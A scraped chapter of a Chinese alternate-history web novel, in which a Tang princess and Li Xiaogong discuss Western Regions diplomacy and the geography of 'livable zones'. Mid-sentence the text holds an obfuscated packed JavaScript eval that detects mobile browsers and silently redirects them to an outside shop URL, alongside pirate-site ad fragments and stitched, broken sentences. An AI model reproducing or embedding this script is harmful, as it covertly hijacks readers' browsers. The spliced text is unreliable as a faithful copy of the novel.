·
公主瞠目盯了殿中衮衮诸公足足有半刻钟,期待着能在这些西域贵族眼中看出什么不一样的神色。但凝视片刻之后,她不得不悻悻然移开目光。
如果仅仅用金钱就能交换来这至关重要的进展,那当然是朝中重臣们做梦都想像不到的好结果。可明明是这样意料不及梦寐以求的好结果,前所未有的喜悦,公主在抬眼确认之时,心中生出的却是某种难言的郁气。
当然,作为皇帝的嫡女,此次奉命出使的钦差,李丽质绝不能显出一丁点的诧异来。她甚至要端正神色,言辞谨慎,安定下这些“远人”的心思。
“大唐涉入西域之后,诸位现在所有的一切权益,都不会稍有变更。一旦利税梳理清楚、商道畅通,各国的收入还会大大的上涨,绝无任何的损失。诸公,唐人远道而来,只为安人定国,怀德化远,绝无贪图土地人口的恶念。我钦奉大唐圣天子陛下的谕令,可以在此为诸位立誓,纵使河水如带,高山若厉,大唐的承诺亦永无变更,必将惠及诸位的苗裔。”
说罢,长乐公主整衣而敛袖,抬手遥遥面向大殿西处,高耸陇山的方向,深深行了一礼。
这是西域所谓之“指山为誓”,各国崇拜陇山,历来将其视为庇护商贾农耕百工百业的神山,而今指山起誓,已经算是最为郑重的誓言。当然,相较于誓言本身的神性而言,最令诸位贵族动容的,恐怕还是长乐公主的举措——煌煌大唐公主愿意纡尊降贵,亲自行这个所谓“蛮夷”的礼节,实在已经是表现出了极大的诚意。
为此,诸位西域豪贵诚惶诚恐,纷纷端整仪容拍打衣袖,一齐向公主拱手还礼。
·
在李丽质幻想的所谓明枪暗箭费尽心力的谈判结束之后,等候在侧的女官们立刻撤下了藤箱书信与血淋淋的人头,迅速呈上了早已预备齐全的早膳。公主赐宴都是以皇家的标准预备,上方玉食珍馐杂设,迥非寻常可比。站立两边的贵族们眼中立刻闪动光芒,甚至逾越礼制,冒昧向女官手捧的食盒看了几眼——中原汉人在烹饪上委实是天下无双,尤其是有西域流入的诸多香料助力之后,那技法与手段都渐趋成熟,对缺少创新的辽阔西域可谓降维打击。而今思来,亦不由口中生唾。
坐在主位的李丽质一眼扫过众生百态,在茫然
困惑之余,心中却不由生出一股悲凉:显然,她精心筹谋,不惜为此打破常规抛弃公主颜面,公然出示这血腥头颅的惊世之举,已经是完全无效了——以眼下看来,这玩意儿甚至都没有影响到各国豪贵的胃口……
当然,这样的浑然无畏似乎与什么胆气心力没有关系,纯粹是诸位豪贵们的脑回路过于奇怪,以至于这常规的威慑全然失效而已。
李丽质默然片刻,终于忍耐不住于,长叹一声拂袖而起:
“本宫要去更衣。”
·
此处所说的“更衣”,当然不仅仅是托辞。事实上,为了全方位的向西域上层社交圈展示大唐衣着服饰百工百物的丰厚奢靡无所不有,公主每次出行西域,仅仅衣料首饰便要五十辆马车往来运送。而为全面展示这些堆积如山的衣衫服饰,公主平均每天要更衣到九次,每次更衣大概三刻钟有余,可谓换衣换到手脚发软眼发木,真真是平生难得的折磨。
不过今日更衣却不同往常,公主仅仅是在大殿后的小阁内换了几根发簪理了理花钿,便命左右退后,而后亲手推开铜镜旁的暗门,一步跨了进去。
暗门内烛火摇曳光滑四射,明亮犹如白昼,河间王开府仪同三司领司空李孝恭盘坐于西域进贡的羊绒地毯之上,扶几起身,向盛装入内的公主俯首微微一礼,然后情不自禁的抬手遮掩双目——公主头顶那精心设计的冠冕实在闪耀得太为过分,连河间王亦不能克当。
公主揽衣行下家礼,徐步迈入暗房,同样跪坐了下来。
“伯伯想必听见外面的动静了?”她叹气道。
这间暗室同样是特殊设计,据说参照了天书的什么“声学原理”,可以将殿中的声音分毫不差的传至暗阁之中,李孝恭端坐于密室之内,便仿佛身临其境一般。
“如雷贯耳,大为醒脾。”李孝恭微微而笑:“我早年奉旨都督凉州,也曾领略过西域豪贵们的做派,倒与公主感同身受。说句实话,他们这个反应委实不算奇怪。”
河间王李孝恭是太上皇帝的族侄,当今皇帝的堂弟,旁支宗室中血脉最近而功业最盛者,偏偏性情又谦退随和,血裔至亲用心精纯,最得天子的信任,甚至能参与某些不可告人的机务。而今天子以密旨派出这样的重量级人物随公主一路西行,明显是有极
为重大的嘱托。而今从容出声语气柔和,长乐公主却不能不郑重以对:
“请叔叔指点。
“谈何指点呢?李孝恭温和道:“不过是一点小小的体会而已。我也是在凉州与高昌龟兹等国的使者贵族盘桓许久,才隐约悟出的道理——西域诸国都是小国,而小国的心思,从来与大唐,与强汉,与一切统合中原、混一南北的大国强国都不同。如若用天书的话讲,小国天然是没有自主性的,它们做出的抉择,大国的臣民往往很难理解。
“叔叔的意思是……
小说</a>全网首发无弹窗免费阅读caixs?com?(请来才
小说
看最新章节
完整章节)
“想必公主还记得当年征伐突厥的大战。李孝恭道:“贞观三年的时侯,李药师以二十万人奔袭漠北,一举讨灭突厥王庭,擒拿颉利、突利二可汗,东西突厥土崩而瓦解,百年北狄之患,至此消弭。当颉利可汗被押送入京时,我与尉迟敬德曾奉命责问酋首,历数他的种种罪行。彼时颉利可汗咄苾心胆俱裂,意气全消,无论我们斥责他虐民、背盟、险诈等等罪行,都是照单全收,毫无反驳的余地。唯有尉迟敬德呵斥他曾对太上皇侮慢无礼的大罪时,此人却竭力抗辩,说自己不懂唐人礼节,无礼或者有之,却实在没有侮慢之心。
公主啊了一声。她当然知道所谓“侮慢太上皇的大罪是怎么回事——武德年间大唐虚弱而突厥强盛,为了在征讨王世充窦建德时稳住这虎视眈眈的邻居,彼时的皇帝而今的太上皇陛下谦词卑礼,曾经给突厥人写过数封低声下气的求和书信。
堂堂中原天子竟尔屈膝侍奉夷狄,这自然被太上皇视为平生莫可忘怀的奇耻大辱,朝廷上下噤若寒蝉的软肋逆鳞。而当今圣上身为人子,数年前又与太上皇有过玄武门这样微妙的过往,那自然要倾尽全力表现自己孝不可言的殷殷诚心,皇室垂范天下的父慈子孝。为此专门派近臣刺一刺颉利可汗,自是在情理之中。
所以,颉利可汗还有什么狡辩的余地么?
李孝恭道:“颉利如此妄言否认,做臣子的当然义愤填膺。尉迟敬德立刻出示了他昔日与太上皇往来的信件,直指称呼中种种悖逆之处——彼时颉利可汗强盛,竟然在信中直呼太上皇的名讳,又称太上皇‘李家老翁’,如此狂悖犯上的言行,真是令臣下不忍耳闻。以彼时的形势,我们本以为颉利会否认这狂妄的言辞,想不到他毫无推辞,
竟尔一口承认了下来,只是承认下来后却迷惑不解,直言询问我等,不知这有何侮慢之处?
“荒唐悖逆到这等程度,真正是令人罕见。我等刚要呵斥,这颉利可汗却说,当年他的爷爷沙钵略可汗曾向大隋效忠,能够做隋朝天子的奴才便心满意足、万分喜悦。彼时突厥上下都知道此事,也不觉得有如何侮慢呐?如若大唐天子不满,他颉利也可以给大唐的皇帝做奴才。此人还言之凿凿,说他愿意效仿他爷爷的先例:如果我与尉迟敬德可以牵线搭桥,介绍他当上大唐皇帝的奴才,他会倾家荡产的报答我等……“
公主……公主缓慢的眨了眨眼。
“颉利可汗在效法勾践之志,卧薪尝胆?
李孝恭叹了一口气。
“言辞实在过于无稽,我等也有如此的怀疑。他道:“但我等随后讯问了东突厥的其余贵人,果然是各个都对昔日沙钵略可汗做隋文帝奴才的光辉往事记忆犹新,乃至心驰神往,恨不能效法先贤。颉利颇有才略,或者还有忍辱负重的志向,这些东突厥贵人多半是酒囊饭袋,决计没有这个矫情自饰的本事。换言之,突厥上下还真是对昔日为奴的往事了如指掌,乃至欣欣然引以为自得……
李丽质:…………
即使时过境迁平息已久,她也能从自家叔伯眼中窥伺出当初那种虽然不懂但大受震撼的惊骇。
显然,世间最为凌厉的武器便是真诚。当突厥人不遮不掩毫无避讳的向李孝恭尉迟敬德等炫示自己祖上为奴的光辉往事时,纵以两位名将久历沙场的阅历,想必一时间也是瞠目结舌反应不能,以至于预备下的种种问罪之辞居然在这坦诚之前黯然失色,瞬间丧失了一切杀伤力。
——是啊,人家爷爷当了奴才都可以公开宣传,你爹写两封语气卑微一点的书信又算得了什么呢?
估计皇帝亲耳听闻,都要被这样的坦坦荡荡噎得直翻白眼。
在惊骇迷茫之余,长乐公主隐约也记起来了:“我记得贞观三年时,陛下是曾痛骂过突厥形如野兽,所谓蛮夷畏威而不怀德,不可以仁义待之……“
“是的。李孝恭喟叹道:“我与尉迟敬德回报了颉利的反应,圣人大为震动,也颇为恼怒,当然不会对突厥有什么好脸色——以圣人的说法,突厥与中原
各为其国彼此凌逼侮辱其实也不算大事但突厥人竟尔恬不知耻自甘卑贱公然炫示祖宗为奴的旧事那就不止是将突厥的品格贬入地底更是对大唐莫大的羞辱。”
——说白了突厥人恬不知耻下作卑贱那与突厥僵持多年的大唐又算什么?颉利可汗无耻到这个地步那就连皇帝三年讨平蛮夷的功业都要黯淡几分。毕竟千秋史册煌煌公论谁喜欢看中原圣天子陛下放下身段与这样卑鄙的人物纠缠?即使以文章笔法而论那好歹也得窦建德、刘黑闼之流的豪杰才能衬托出胜利者的光辉万丈。
皇帝自然深谙这对比烘托的妙处所以才颇为恼怒乃至心绪不平。他原本打算教授颉利可汗文章诗赋令其宴前颂圣昭成功于太上皇御前;而今也不能不暂时停止只是排了一支舞蹈了事——毕竟以颉利可汗的种种作为来看他搞不好会当着太上皇帝的面迅猛开舔一旦舔功不得其法难免要说出某些会让两位圣人尴尬难言乃至于永载大唐史册的名梗。
——比如什么“做大唐的狗就是荣幸啊”之类的……
“不过陛下的怒火并未持续太久。东西突厥平定之后原本依附于突厥的小国惶恐不安纷纷派出了使节入贡请罪。这些使者或高明或愚鲁或文官或武将但在谒见陛下之时那副谄媚奉承的嘴脸却都如出一辙真真是阿谀奉迎唯恐不至毫无底线品格可言超乎圣人与朝中诸大臣的意料之外——以房相公的话说昔日南北分立江南也不是没有过苟延残喘的小国但小国侍奉大国卑辞屈礼或者有之却实在少有如此孱弱无骨的做派。”
“当然正因为见事见得多了。陛下及大臣们才不觉生出疑惑:如若突厥可谓蛮夷无耻那么这么多小国彼此相似的做派难道也能统一归之于不知羞耻么?正因如此陛下才特意召集我等细细研读了天幕所示的一二篇章领悟其中的深意。天幕中所说华夏周边诸多小国都缺乏自主性此言诚为得之。”
事涉天幕俨然便是李孝恭此次千里而来要向公主所转述的关窍。李丽质听得全神贯注本能的开口询问:“缺乏自主性?”
“不错。”李孝恭颔首道:“公主请看此图。”
他从袖中抽出了一卷薄薄的绢帛
毕现舆图。只是图中山峦起伏河道蜿蜒,标记的并非寻常可见的州郡分界,而是以各种线条区隔出的地势与地形,乃至降雨数量、日照强度。
长久与天书打交道,公主一眼就辨认了出来,这应该是天幕供应的所谓地势舆图,描绘的乃是各地之自然禀赋。只是舆图中有大片的颜色渲染涂抹,却与寻常所见的舆图迥然不同。
“这是……”
“这是天幕标出的所谓‘宜居带’。”李孝恭平静道:“以天幕的话讲,人生长繁衍仰赖于五谷,五谷生长繁衍仰赖于雨水阳光,如果将各处一年所能承受的阳光雨露计算出来,便可以大致区分出适宜于居住耕作的土地。而以此分析天下大局,便如掌上观文,一目了然。”
说罢,他以拂尘指点舆图。果然,除了舆图正中一片无大不大,几乎笼罩了整个中原的主要宜居带以外,其余宜居带零散分布于长城以外漠南漠北之地、吐蕃高原,以及陇右以西茫茫戈壁之中——只不过这西域的宜居带随水源河流起伏零落,散碎如满天星斗。
李丽质随同听政多年,立即从这分布中看出了端倪。
星罗棋布环绕中原的宜居带,恰恰是大唐数年以来战略重心所倾向的要点,而且随宜居带之大小不同,策略也迥然相反——长城以北的宜居带最为广大,虽为戈壁山脉分割,但蔓延辽阔仅次于中原;而朝廷厉兵秣马,对北方突厥也是犁庭扫穴、从不姑息;吐蕃的宜居带较为狭窄,又巴蜀之地的崇山峻岭所阻隔,朝廷的策略也变动不居,时而出兵威慑,时而遣使招抚;至于宜居带最为分散割裂的西域,则被圣人视为囊中之物,为此再三优容,怀柔化远。
到底是精心培育出的大公主,李丽质沉吟若有所思,隐约领会到了这舆图的妙处:
但舆图所指示出的宜居带用意远不止于此。李孝恭轻敲图纸,平静询问侄女:
“公主,若比较中原与四夷,你又看出了些什么?”
这还用比较么?公主不假思索:
“中原的宜居带最为广袤无际,无边无涯,无论漠北西域,西南东南,加起来也不能与之相比。”
说到此处,她也不觉感慨:
“这真是天赐列祖列
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14188341|150721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宗的好地啊。”
李孝恭……李孝恭微微默了一默。
显然,数千年前禹王定鼎中原区区一隅之地时,那触目所及都是东夷,是三苗,是西戎,是北狄,是稀奇古怪莫名其妙的杂胡。仅以这上古典籍的只言片语来看,上天也显然没有那么慈悲温和,愿意将由南至北这无大不大的膏腴肥沃之地尽数清空,尽数赐予华夏。以公羊派的话讲,彼时是“南夷与北狄交,中国不绝若线。所谓中原中原,原者平原也,这么肥美风沃一览无余的平原,自古以来就是万人觊觎的四战之地,兵家意义上真正不可守的绝境,何谈天赐?
当然,明明是平坦肥沃一览无余的平原,往来无碍的四战之地,怎么蛮夷戎狄会渐渐退却,心甘情愿拱手让人了呢?
以圣人经传的话讲,这是因为上古圣王的德行太崇高了,崇高得丑恶的蛮夷自惭形秽掩面而逃,不敢再生活在圣王光辉的德行之下,而宁愿在漠北西南那些偏远狭隘的宜居带内自我放逐,以此彰显圣王的荣耀。
而以天书的话来讲嘛,那些在夏商周三代时不愿意领会圣王仁德的丑恶蛮夷,最后多半都被圣王给“用
所以,这天赐不天赐的,就难免有些微妙……华夏文明的确运气很好,它一向没有什么敌人。但它之所以没有什么敌人,只不过是因为它的敌人都没有了而已。
当然,这些凌厉而又冷冽的内容应当属于皇家口传心授的帝王术,不该由宗室提及。所以李孝恭沉默片刻,岔开了话题:
“不错,中原及江南的确是最为广袤肥沃的土地。其余适宜居住的地带则大半被沙漠山脉河流等等切割瓦解,仅仅只是孤立的小块而已。以天书的说法,这些小块的宜居带之间天然就有孤立的倾向,即使有强横的势力横扫千里,也不过只能逼迫这些小小的势力低头臣服,而难以真正的侵吞蚕食。
李孝恭的手指在舆图的北面划过,指点漠北那些支离破碎的水源地、星罗棋布的绿洲——长城以北的辽阔草原恰恰吻合着这天书反复叙述的规律。茫茫草地上各色杂胡交错聚居,虽尔霸主突厥控弦百万横绝一时,但也只能压服契丹丁零等部落,而无法完全吞并同化,融合为一。故而突厥一朝崩溃,草原群龙无首,立刻恢复到了往日分裂割据的局面。
而此种分裂散碎彼此为政,则似乎是草原的常态。自匈奴统一漠北以来,历代霸主轮番登场掌控
大漠,但无一不是其兴忽焉其亡勃焉,无论再如何兴旺强盛,都决计无法扭转这千年的铁律,只要稍有不慎便会分崩离析,重新散落为大大小小的碎块。
某种意义上说,这便是天书所谓之“地缘规律
“以天幕的话讲,这是‘地理决定论’。李孝恭复述着那怪异的名词:“草原看似处处青葱,但真正能饲育牲畜养活人口的草场却是变动不居,其间还有大量逾越的干旱地带。被分割在各个贫瘠牧场的小部落往往实力孱弱,无法抵挡强盛的外敌。但外敌纵使强盛,却也很难彻底吞下这些部落——跋涉戈壁的行军实在太过艰难,能够保证基本的臣服就已经相当够本,再想做什么也是有心无力了。“
“所以,对于这些散居于各地的小国小部落来说,屈服于外敌其实是相当正常的选择。他们既是无力反抗,也多半是不能反抗——如果保持恭顺,那么外来的霸主可能仅仅只会索取一些财产人口而已。如果反抗过于激烈,那搞不好会引发强敌的愤恨,因此而沦为杀鸡儆猴的那只鸡。毕竟,外来者当然不可能远涉大漠一个一个收拾所有小国,但要集中军力料理一两个榜样,那绝不为难。
李丽质……李丽质瞠目结舌,嘴唇开阖数次,终于喃喃道:
“大宛。
“不错,大宛。李孝恭微微叹气:“李广利平大宛之战,就是小国不知好歹,贸然触怒强敌的结果……当然,那也是世宗孝武皇帝的脾气太激烈了。
是的,就算真要域外势力真要杀鸡儆猴,那多半也是挑个软柿子捏,谁知道武皇帝那么头铁,硬生生耗竭国力横渡千里,也要砍下宛王的头颅呢?
当然,这种头铁的示范效应是强大的。事实上,李丽质今日威逼利诱诸位西域的权贵,所预备的杀手锏正是一篇《贰师将军赋》,这是她自陇右挖掘出的人才仿司马相如《子虚赋》所做的一篇歌咏李广利征西的大赋,一旦谈判久久不利,公主便会令人将这大赋呈上来供诸公“欣赏。而以她往日的经验来看,西域诸国只要听到李广利大名,那多半是魂飞魄散言语失态,估计会忙不迭的答应下一切条款……
不过,西域诸豪强在识时务上委实
超出预料,长乐公主竟尔无机可乘,只能瞪眼而已。
“所以,对于诸如西域之类的小国来说,服从外力不是什么羞耻的事,也不会危害自己的根本。”李孝恭总结道:“反正不会被外力吞并,低一低头其实也没什么——说实话,西域也罢、漠北也罢,如匈奴鲜卑柔然突厥等强盛的部族来了又去,反倒是这些小国屹立千年,始终不倒。在彼等看来,大唐又何尝不是另一个来了又去的外人呢?按天幕的说法,这是所谓的‘生存智慧’,其实无足指摘,也不必为它们感到羞耻。”
“——但是公主,中原的形势,就完全不同了。”
李孝恭手指向下,移至广阔丰美的中原。这是整片舆图中真真正正的肥地沃地应许之地,不但土壤蔓延起伏尽皆在充足的雨水阳光笼罩之下,而且彼此之间毫无隔断,一往而去宜居带彼此相连,即使最封闭的巴蜀盆地,亦有汉中小道及长江水流彼此勾连,充分保证了不同区域内人力物力自然的交通与流动。
但也正因为这毫无阻碍的沟通,才凸显出中原腹地相较于四周最大的独特之处。如果说西域漠北有天然的隔断割裂,那么中原就是真正的奔驰千里,毫无阻碍。而奔驰千里毫无阻碍,也就意味着——
“中原太大了。”李丽质喃喃道。
“是的,中原太大了,土地也太好了。”李孝恭语气从容:“与漠北西域相比,中原乃至江南是没有真正的天险的。即使所谓的黄河、长江,乃至一夫当关万夫莫开的种种关卡,都不能与周遭那种真正的隔绝与分裂相比。若以十万大军征伐漠北小国,纵使沿途绝无阻碍,仅仅人吃马嚼民夫消耗,一年便要花上国库大半的钱粮,途中病死的马匹都是成千上万。可若要横渡长江一统南北呢?只要能把控住淮河与荆州,再在关键的水战中赢上一次,江南便是望风披靡,可以传檄而下了!至于黄河?黄河连长江都不如——它冬天是会结冰的。圣人当年领骑兵冬日渡河,胜仗不知道打过多少。”
“换言之,只要有稍为稳定的后方,那么黄河长江乃至中原的一切关隘都从来不是阻碍。这些关隘平日里商贾百姓往来如织,而百姓可以走的军队便可以走,而大军所过之处,便是朝廷政令所及之处。只要能以军队时时威压、震慑,那么同化也好,吞并也罢,都是易如反掌,可